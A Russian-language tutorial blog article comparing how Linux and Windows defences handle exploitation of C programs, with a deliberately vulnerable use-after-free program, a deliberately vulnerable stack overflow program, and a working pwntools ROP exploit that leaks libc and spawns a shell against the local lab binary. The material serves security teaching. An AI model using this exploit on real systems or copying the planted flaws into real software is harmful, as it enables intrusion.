Каждый, кто начинает изучать уязвимости программного обеспечения и их эксплуатацию, рано или поздно начинает задаваться вопросами: откуда берутся методики написания эксплойтов? Почему современное ПО содержит уязвимости? Насколько операционные системы с точки зрения проведения атак на ПО отличаются друг от друга? В данной статье будет рассмотрен подход к исследованию уязвимого ПО на различных операционных системах: какие есть особенности, какую систему лучше выбрать в качестве тестовой и какие выводы можно сделать.
Disclamer: Статья не содержит полный перечень методов и техник атак. В статью включены только те, которые могут быть интересны начинающему исследователю.
Почему существуют уязвимости и атаки
Атака - это процесс, приводящий к нарушению установленного порядка работы системы. В контексте программного обеспечения подобное воздействие может быть равносильно созданию состояния неопределенности: в этом случае состояние структур, используемых для работы ПО, может стать нестабильным. Проводимые атаки могут стать причиной серьезных последствий: от аварийного завершения работы до потери пользовательских данных, поэтому изучение корней проблемы является актуальным на сегодняшний день. Для того, чтобы разобраться, по каким причинам в приложении обнаруживаются уязвимости, обратимся к фундаментальному “родителю” любого софта - языку программирования. Объектом нашего изучения будет язык программирования С: многие части популярных ОС и по сей день пишутся с его помощью или же с его эволюционно появившейся версии С++.
Язык программирования С - это по сути набор команд, который позволяет ОС взаимодействовать с устройствами и тем самым раскрывать их функционал в полной мере. Для того, чтобы язык программирования мог использоваться на большом количестве систем, нужно, чтобы все его команды и результаты их выполнения всегда имели предсказуемые значения. Единственный способ достижения этого - создать стандарт, где описывается каждая конструкция и команда языка программирования. Всего за время существования языка программирования С было создано 6 версий стандарта (С89, С90, С95, С99, С11, С18).
В стандартах можно найти понятие undefined behavior, используемое в разделах, посвященных портированию ПО на различные архитектуры. Термин undefined behavior обозначает любую ошибку или непонятную ситуацию, результаты которой не могут быть предсказаны наперед. В контексте ПО, написанного на С, в большинстве случаев это проблемы с памятью, работой с системами ввода/вывода, синхронизацией доступа к ресурсам информационной системы. Неопределенное поведение может случится по причине следующих ошибок при написании софта:
Race Condition
Integer Overflow
Buffer Overflow
….
Вот здесь можно найти полный перечень популярных проблем. Именно из-за них есть возможность проводить атаки на ПО, поскольку каждую можно так или иначе рассматривать как уязвимость, подлежащую последующей эксплуатации в собственных целях.
Противодействие атакам
Проблемы безопасной разработки программного обеспечения известны и описаны уже давно, потому при изучении языка программирования для написания приложений используют наборы правил “хорошего” кода. Быстрый поиск в сети может предоставить большое количество таких рекомендаций.
Однако сегодня при всей комплексности кодящихся проектов и даже при использовании всех правил безопасности случаются ошибки, приводящие к образованию “ахиллесовых пят” софта. Для спасения приложений и операционной системы в этом случае существуют технологии защиты, которые интегрируются на уровне ОС.
Количество и сложность механизмов защиты от атак на ПО в разных ОС варьируется. Например, разработчики операционной системе Linux считают, что для операционной системы важнее функциональность, а не наличие защит. В противовес можно привести операционную систему Windows, которая пачками разрабатывает технологии защиты на уровне ОС. Насколько механизмы эффективны? Это вопрос отдельной статьи. В защиту операционной системы Linux можно сказать, что производились попытки её сделать более безопасной с точки зрения разработки ПО, но что-то пошло не так и теперь патчи безопасности продаются как отдельный проект.
Портирование атаки
Представим себе сценарий - мы хотим изучить подход к эксплуатации уязвимостей Stack Buffer Overflow и UAF. С чего можно начать изучение? План изучения:
Найти описание особенности уязвимости;
Найти или создать уязвимое приложение;
Попытаться создать эксплойт, если не получилось эксплуатировать уязвимость - выяснить, какие механизмы защиты применены в ОС и попытаться их обойти (ведь именно они могут защищать приложение от эксплуатации его погрешностей).
В качестве тестовых будем использовать Windows 7 x86 и Kali Linux.
Особенности уязвимости: UAF
Описание уязвимости можно найти на ресурсе. Если вкратце, то данный тип уязвимостей связан с использованием объекта после его освобождения. Следовательно, атака должна создать на месте освобождаемого объекта тот, который позволит выполнить произвольный код. Графическое представление уязвимости ниже.
В качестве упражнения попробуйте найти пример уязвимого приложения для ОС Windows (любой версии), которое будет содержать UAF. Также подобных приложений много для ОС Linux. Попробуем адаптировать одно из таких приложений: чтобы оно было скомпилировано и для Windows, и для Linux, а также уязвимость воспроизводилась на обоих системах.
Уязвимое приложение: UAF
В качестве подопытного будем использовать следующее приложение:
#include <malloc.h>
#include <stdio.h>
typedef struct UAFME {
void (*vulnfunc)();
} UAFME;
void first(){
printf(“It is First\n");
}
void second(){
printf(“It is second\n");
}
int main(int argc, const char * argv[]){
UAFME *malloc1 = malloc(sizeof(UAFME)); //Allocate struct
malloc1->vulnfunc = first;
printf("[i] first at %p\n", first);
printf("[i] second at %p\n", second);
printf("[i] Calling malloc1's vulnfunc: \n");
malloc1->vulnfunc();
free(malloc1);//error here
long *malloc2 = malloc(0);
*malloc2 = (long)second;
malloc1->vulnfunc();//trigger UAF
}
Скомпилируем код под Windows и Linux:
Запуск на Linux:
Запуск на Windows:
Поведение ОС: UAF
Уязвимость UAF в операционной системе очень сложно отследить и для каждого отдельного случая нужно писать специальные методы противодействия. Сам класс уязвимостей работает на основе доступа к данным, поэтому обычно имплементация защиты - это контроль целостности важных для процесса структур. В нашем случае приложение не обращается к этим структурам, поэтому никакие механизмы защиты Windows и Linux не завершат аварийно выполнение приложения: процесс продолжит работу, что является проблемой безопасности и может быть эксплуатирована. Исходный пример самодостаточен и показывает, что подобные уязвимости чаще всего получается эксплуатировать за счет функционала приложения. Что же касается различий в имплементации для операционных систем - как показано выше, ОС уже не важна, если ошибка в неосторожных действиях самого приложения с памятью.
Особенности уязвимости: Stack Buffer Overflow
Уязвимость, которая имеет наибольшую популярность на сегодняшний день. Механизм работы Stack Buffer Overflow заключается в том, что данные, помещенные на стек, перетираются другими данными, заполняемыми в объекте, в котором не верно проверяется их размер. Картинка взята отсюда.
Уязвимое приложение: Stack Buffer Overflow
В качестве тестового будем использовать следующее приложение:
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[50];
read(0, buf, 256);
}
void main(){
write(1,”Hello Overflow\n",10);
vuln();
}
Скомпилируем приложение для Linux и для Windows:
В полученные файлы для защиты от атак добавляются специальные данные о механизмах защиты, которые помогают операционной системе противодействовать атакам. В ОС Linux посмотреть эти данные можно через специальную утилиту checksec
.
Полный список технологий защит, которые были получены через вывод инструмента checksec
, можно найти тут.
Для операционной системы Windows такой список просто утилитой получить не удастся, вместо этого необходимо запустить приложение в ОС и просмотреть установленные механизмы защиты для работающего процесса. Сделать это можно например утилитой EMET. Полученный вывод для нашего приложения:
Даже не разбираясь, какой механизм от какой атаки защищает, список достаточно внушительный.
Эксплойт для уязвимого приложения: Stack Buffer Overflow
Самый простой тип уязвимости с точки зрения написания эксплойта. Проанализировав все механизмы защиты, которые задействованы в Linux, становится ясно, что единственный механизм - “NX Bit”. По всем описаниям в сети обойти данный механизма можно с помощью ROP. Для написания эксплойта будем использовать автоматизацию - pwntools для Python. Тогда скрипт для атаки на операционной системе Linux может иметь такой вид:
from pwn import *
from struct import *
binsh = "/bin/sh"
stdin = 0
stdout = 1
read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014
#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020
pppr = 0x80484e9
payload = "A"*62
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
r = process('./test2')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
Эксплойт под Windows c применением ROP не дал результатов. Вывод его работы можно увидеть ниже.
Необходимо проводить дальнейший ресерч обходов защит системы. Против эксплойта сработали следующие механизмы защиты: SimExecFlow, DEP, SEHOP.
Вывод
Как можно заметить, подходы к обеспечению безопасной работы приложений у операционных систем Linux и Windows разные: в случае Linux получилось эксплуатировать заложенную в приложении уязвимость, в то время как Windows вовремя остановила работу приложения. Исследователям безопасности систем необходимо иметь это в виду, именно поэтому начинающему специалисту стоит взять систему Linux как начальную для тестирования уязвимых приложений, а к системе Windows обратиться для улучшения методов обхода защит операционных систем.
Данная статья была написана в преддверии старта курса Administrator Linux. Basic от OTUS. Узнать подробнее о курсе и посмотреть запись бесплатного демо-урока можно по этой ссылке.
Shaman_RSHU
Прошу уточнить, почему статья названа «Митигация уязвимостей..». Ведь митигация — это смягчение/уменьшение вероятности. В статье об этом мало написано.
Подозреваю, что здесь закралось несоответствие, которое неоднократно обсуждалось в ИБ сообществе. Из-за неточного перевода путаются термина «уязвимость» и «риск» потому, что термин «митигация рисков» часто применяемый и понятный.
GolovinDS Автор
Митигация рассматривается в контексте механизмов защиты операционной системы. Это термины, которые приняты разработчиками ОС. Никаких отношений к оценке рисков термины из статьи не имеют.